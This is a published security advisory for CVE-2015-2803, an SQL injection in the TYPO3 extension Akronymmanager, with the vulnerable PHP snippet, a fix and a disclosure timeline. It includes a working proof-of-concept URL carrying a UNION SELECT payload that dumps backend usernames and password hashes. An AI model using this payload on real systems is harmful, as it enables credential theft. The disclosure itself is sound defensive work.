Advisory: SQL Injection in TYPO3 Extension Akronymmanager

An SQL injection vulnerability in the TYPO3 extension "Akronymmanager"
allows authenticated attackers to inject SQL statements and thereby read
data from the TYPO3 database.


Details
=======

Product: sb_akronymmanager
Affected Versions: <=0.5.0
Fixed Versions: 7.0.0
Vulnerability Type: SQL Injection
Security Risk: medium
Vendor URL: http://typo3.org/extensions/repository/view/sb_akronymmanager
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2015-002
Advisory Status: published 
CVE: CVE-2015-2803
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2803


Introduction
============

"The Acronym Manager adds special explanatory markup to acronyms, abbreviations
and foreign words on the whole site following the requirement to accessible web
content.

It provides a backend module to administer a list of words to generate new HTML
elements for explanatory markup."

(from the extension's documentation)


More Details
============

Users with the respective privileges can maintain acronyms through the
Akronymmanager extension pages in the TYPO3 backend web interface.

In the extension's file mod1/index.php, an SQL query is generated like
follows (line 357 and following):

[...]
$pageID = t3lib_div::_GET("id");
if ($pageID) $where = "uid='$pageID' AND ";
$result = $GLOBALS['TYPO3_DB']->exec_SELECTquery('title,uid', 'pages',
    $where.'hidden="0" AND deleted="0"','sorting');
[...]

The value of the user-supplied HTTP GET parameter 'id' is used without
sanitizing it before its use in the subsequent SQL statement. Therefore,
attackers are able to manipulate the resulting SQL statement and inject
their own queries into the statement.


Proof of Concept
================

When requesting the following URL, the vulnerability is exploited to yield all
usernames and hashes from the TYPO3 be_users database:

------------------------------------------------------------------------
http://www.example.org/typo3conf/ext/sb_akronymmanager/mod1/index.php?
id=379%27%20UNION%20SELECT%20(SELECT%20group_concat(username,%27:%27,password)
%20FROM%20be_users),2%20--%20
------------------------------------------------------------------------

The login credentials are then embedded in the HTML page that is
returned: 

[...]
  <!-- Section header -->
  <h2>user1:$hash,user2:$hash[...]</h2>
[...]


Workaround
==========

Only give trusted users access to the Akronymmanager extension in the
TYPO3 backend.


Fix
===

Upgrade the extension to version 7.0.0.


Security Risk
=============

An attacker who has access to the backend part of the Akronymmanager
extension may send SQL queries to the database. This can be used to read
arbitrary tables of the TYPO3 database and may ultimately result in a
privilege escalation if the TYPO3 users' password hashes can be cracked
efficiently. Depending on the database configuration, it might also be
possible to execute arbitrary commands on the database host.  As the
attack requires an attacker who already has backend access, the
vulnerability is estimated to pose only a medium risk.


Timeline
========

2015-02-25 Vulnerability identified
2015-03-04 Customer approved disclosure to vendor
2015-03-10 CVE number requested
2015-03-10 Vendor notified
2015-03-26 CVE number requested again
2015-03-31 CVE number assigned (request #2)
2015-03-31 Vendor notified again
2015-03-31 Vendor responded
2015-04-08 Vendor announced fixed version available at the end of April
2015-05-13 Requested update from vendor
2015-05-15 Vendor requests more time
2015-05-21 Requested update from vendor
2015-05-22 Vendor states that upload to extension registry doesn't work
2015-06-03 Requested update from vendor
2015-06-10 Vendor uploads new version to extension registry
2015-06-15 Advisory published



RedTeam Pentesting GmbH
=======================

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